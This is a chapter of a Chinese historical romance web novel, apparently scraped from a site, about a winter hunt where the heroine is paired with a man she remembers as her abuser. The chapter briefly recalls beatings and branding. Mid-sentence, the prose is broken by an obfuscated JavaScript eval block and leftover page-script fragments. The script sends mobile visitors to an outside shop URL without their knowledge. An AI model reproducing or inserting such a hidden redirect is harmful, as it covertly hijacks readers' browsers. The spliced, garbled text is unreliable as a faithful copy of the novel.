26. 冬日猎场人百态
    定国公府的猎场离得不算太远,在城外西郊二十里处,不出一个时辰就到了地方。

    这块连绵几十里的山野林地,皆属定国公府所有,她们方才路过的山庄,正是定国公府专门用来狩猎后歇息的地方,内设温泉和观兽园,十分奢靡。

    猎场背山靠水,有树木参天的密林,还有一片不小的平原野地,里头被定国公豢养着飞禽走兽,是狩猎的好地方。

    初雪将歇,灰白的苍穹下飘扬着鲜艳的旌旗,在白茫茫的林地草野中格外醒目,谢苓一行人直接乘着马车到了地处中心的营地。

    营地上的雪已经打扫干净,扎着一排厚实的帐子,周围还有不少定国公府的侍卫巡防。

    男子们来的早些,乌泱泱一群人坐在看台上说笑叙话,谢苓一下马车,几乎一眼就看到了人群中飘逸若仙的谢珩。

    他本就生得芝兰玉树,今日穿了件晴山蓝羽纹织锦翻领胡服,外头披着白色缠枝刻丝鹤氅,神情散漫滞洒,手中把玩着青玉酒樽,比往日多了几分潇洒。暗淡的天光下,远处素白的山峦映着他的侧脸,宛若珠玉生晕,月仙临世,不可亵渎。

    谢苓不得不承认谢珩不论容貌还是才学,都称得上一句松风水月的绝世公子。

    谢珩的左手边,端坐着后背挺得笔直的男人,正是他兄长谢择。他披着铜青色的披风,面容一如既往冷肃严厉。

    谢苓继续往一旁看,果不其然在谢珩左边,看到了一身玄色暗纹大氅的王闵。

    见她望过来,王闵遥遥举杯,风流多情的桃花眸漾出个笑。

    那笑眼,顿时让谢苓遍体生寒,身子不受控制僵硬起来,手指无意识攥紧。她控制着自己若无其事转过头,好似什么都没看到。

    待谢灵音点好人数,谢家几个女郎便朝看台上去了。

    谢苓跟在最后方,没走几步,谢灵巧忽然放慢了步子,跟她并排而行。

    “苓姐姐好。”

    谢灵巧抿嘴腼腆一笑,侧过脸看比她大三岁的谢苓。

    只见对方回之一笑,眸光柔和,嗓音也十分平和温暖:“巧娘好。”

    二人都不是多话外向之人,打了招呼后就沉默着并排而走。

    到看台上后,谢苓一抬眼就看到主位上的定国公桓荣。此人五十来岁,身穿绛紫披风,高鼻阔口,鹰钩鼻,一张国字脸不怒自威,哪怕穿着低调也不掩华贵。

    若说王谢两家掌了大靖大半权力,那亢龙桓氏,则是仅次于王谢两家的大族。桓荣的妹妹桓怜珠,正是当今太后。

    桓氏一向中立,既不跟王谢为首的士族争锋,也不为皇室卖命。就连当今桓太后,也已五年避世不出,听闻是在蜀郡青城山礼佛。

    梦里她死前,也没听闻桓氏一族参与进哪方争斗。不过谢苓不信这么一个扎眼的士族,能一直不参与进党争。

    定国公桓荣身旁坐着个二十五六的中年女子,脸颊消瘦,两片朱唇薄抿,相貌秀美,眉眼看着有几分倔强。这女子说起来还跟她亲姐谢茯有几分关系——她名唤崔瑛,是桓荣的继室,清河崔氏出身的庶女,也是谢茯未婚夫崔家二郎的庶姐。

    当初崔瑛嫁给桓荣时,谢苓不过五六岁,依稀记得对方似乎为躲婚约自裁不成,最终强行送入桓府,嫁给了当她爹都绰绰有余的桓荣。

    谢苓不免想起自己两月前也是这般境地,只差一点,就嫁给五十多的老郎君。

    女子婚配一向如此,不论出身高低,都没有选择的权力,嫁给谁,全凭家族需要什么。

    她有种物伤其类之感。

    等何时女子也拥有男子那样的权力了,或许也就有能摆脱这样的困境。

    谢苓一行人朝定国公夫妇见礼,便由侍女引着坐到女眷一侧。

    此时来参加冬猎会的贵女公子们都来得差不多了,谢苓观察了一圈,发现朝中三品以上人家中的未婚子女,基本到场。

    里头有些她认得,有些则十分眼生。

    折柳这次也以定远侯义女的身份来了,她通身气质变化很大,不同于上辈子当人妾室时的妖艳泼辣,变得柔和起来,跟世家陪养出的贵女们并无差别。

    折柳也看到谢苓了,上挑的狐眼朝对方眨了眨,露出个不易察觉的笑。

    谢苓微微颔首,二人就算打过了招呼。

    她们现在不能有太多交集,毕竟在其他人眼里,折柳之前的做法,就是“叛主攀高枝”。

    除此之外,隔着几个座的林华仪十分打眼,她小腿上裹着白布,膝上盖着个薄毯,正时不时朝谢珩方向望,见谢苓望过去,她皮笑肉不笑,扯了扯嘴角,苍白虚弱的脸上是掩盖不住的沉郁。

    谢苓面无表转回头。

    看台上男女分席而坐,男左女右,男子们摩拳擦掌,频频朝女坐看来。

    谢氏女容色在建康是出了名的,谢苓又是几人中最出挑的一个,场中未婚男子无不注意到她。

    余丞相之子余有年,本来对这次冬猎没什么兴趣,他本就不想成婚,之前跟谢灵妙那娘们定亲也是被逼无奈。他好不容易不用成亲,自然不喜待在有莺莺燕燕的地方,只急着想找个借口去城南一所赌坊斗蛐蛐。

    可谁知他就这么百无聊赖的随便一扫,就看见个艳丽惊人的美人。

    这美人内着石榴红骑装,外披白底绣梅锦缎披风,眸若秋水,唇夺夏樱,肌肤赛雪,一笑时眉眼弯弯,好似含着春日暖阳,能让冰开霜散。

    此时她白润微红的指尖捏着个红艳艳的樱桃,正往檀口中喂。

    余有年眼睛一亮又一亮,用胳膊肘捣了捣一旁的御史中丞之子卢执道:“那是谁?生得如此好看。”

    卢执摇摇头,有些惋惜:“你还不知道吧,这貌美女郎单名一个苓,是谢珩的堂妹,从老家陈郡阳夏而来,两个月前差点嫁给王晖,后来王晖暴毙,她的婚事就搁置下来了。”

    “就是出身差了点,可惜了这幅相貌,今日来的,恐怕很难有相中她的。”

    余有年鼻子里哼出一声,眼睛一眨不眨盯着谢苓,口中阴阳好友道:“一群老古板,爷要是有喜欢的,管她什么身份呢,先娶了再说!”

    卢执颇为惊奇看了眼一向对女人敬而远之的余有年,调侃道:“你看上她了?铁树也能开花啊。”

    另一边卢执的弟弟卢固跟着接腔:“稀奇,稀奇。”

    余有年毕竟只是个十六岁的少年人,脸皮薄,顿时脸红了,别扭着转过脸,嘴硬道:“胡说八道什么呢,爷只是看她长得漂亮!”

    卢执赞同道:“确实貌美。”

    余有年时不时偷看几眼谢苓,见对方突然对上他的视线,还抿唇柔柔笑了,顿时感觉心跳如同擂鼓。

    谢苓从方才就感觉一直有道视线盯着自己,她本以为是王闵,遂一直泰然自若吃樱桃。可那道视线太过灼热,她隐隐觉得不像王闵,于是抬头看向男席。

    谁知这一瞅,就瞅见个外罩深紫飞鹤大氅,墨发高束成马尾,剑眉星目,唇若涂丹,看起来张扬华贵的少年。

    谢苓对这张脸似乎有些印象,略微一想,就记起这少年是谢灵妙的前未婚夫,余丞相的独子余有年。

    在梦中,余有年似乎一直未婚,偷偷跑出家门闯荡江湖去了。

    她不晓得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728470|144997||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这少年看她作甚,见对方也没恶意,便没放在心上。

    人全部来齐后,桓荣上前,对此次冬猎进行简单激励与训话,说完后,又由一旁的管家对冬猎的几个比赛项目进行介绍。

    谢苓一字不落听完,对这场冬猎有了大致的了解。

    第一项赛事,就是众人期待的两两一组男女混猎。男女方各置抽签盒,抽到相同词语的方为一组。

    管家一宣布开始,男席那边就热火朝天开始抽签了。除了谢珩和王闵平稳坐在位子上未动,看起来不太有兴致,其他人都凑到签盒之前。

    往常对这类事一向懒散敷衍的余有年,这次倒是兴致勃勃。

    他挤到最前头,便签盒伸手,心中隐秘期望自己能和那春花秋月般的美人是同一个签。

    女席这边矜持些,从第一排开始挨个抽。

    谢家位置就在第一排,谢灵音是第一个抽的,抽完后打开纸条一看,有些羞涩又期盼的朝男席张望。

    谢苓排在第四个,抽到后打开一看,上面写着“一枕槐安”。

    也不知哪个公子会抽到和她相同的签,希望不是谢珩或者王闵。

    半刻后,抽签完毕,管家一一念词,被念到签词的男女,就站到看台之下。

    谢灵音抽中的正是平阳侯世子朱相礼,二人遥相一笑,眉目传情,一同走下看台。

    谢灵巧是御史中丞的次子卢固,二人年纪都不大,扭扭捏捏走下了台。

    余有年没如意,他抽到的是谢苓的堂姐谢灵鸢,一个英气十足的傲气贵女。他懒得理谢灵鸢,谢灵鸢也懒得理这个建康城出名的纨绔子弟,二人相视哼了声,各自不情不愿走到看台下。

    念了许久,一大半人都组好了队,可迟迟听不到念谢苓手中的词。

    她看到男席上依旧未组队的谢珩和王闵,心中有些惴惴不安。

    俄顷,谢苓终于听到了“一枕槐安”四个字,她屏住呼吸朝男席望去,就见王闵嘴角噙着分明的笑意,目光在她身上流转一圈,抬步上前。

    谢苓眼前一黑,手心里冷汗津津。

    如果说她对谢珩的感觉是怨,那对王闵则是实打实的恨入骨髓,又惧入骨髓。

    梦里在王闵后院的那段日子,是她稍微想想就要打寒颤的程度。

    王闵跟谢珩并称建康二子,才貌与谢珩自然不相上下。旁人都说若谢珩是不染凡尘、凛若秋霜的高山雪,那王闵便是风流蕴藉,怀瑾握瑜的人间客。

    可谢苓知道,这人温柔多情的桃花眼下,是最让人心惊肉跳魂飞魄散的疯癫痴狂。

    他不是人,他是疯子。他为了能让她肩部上有跟裴若芸一样的胎记,硬生生用烙铁烫出来。

    更不必说说每逢床榻之事,他都会捆住她的手腕,让她跪在榻前,然后用鞭子抽出满身伤痕。

    这样的事数不胜数,王闵根本没把除了他和裴若芸之外的人当人。

    谢苓感觉自己双脚被钉在地上,她怎么都迈不出去。

    直到一旁的元绿担忧地扶住她的手腕,温热的感觉才让她缓过点劲。

    她敛下眼中恨意和惧意,裹紧披风,朝看台下走。

    路过谢珩时,她目带求救的望了过去,期望他能看懂自己的意思。

    谢珩看到她看向自己,眸中水光闪烁,带着祈求之色,把玩着扳指的手微微一顿。

    他看了眼自己手中的签,俯视着看台下一眨不眨盯着谢苓的王闵,忽而开口:

    “修常兄,你我不若换换签。”

    王闵一袭玄氅站在看台之下,抬头似笑非笑:“哦?这是为何?”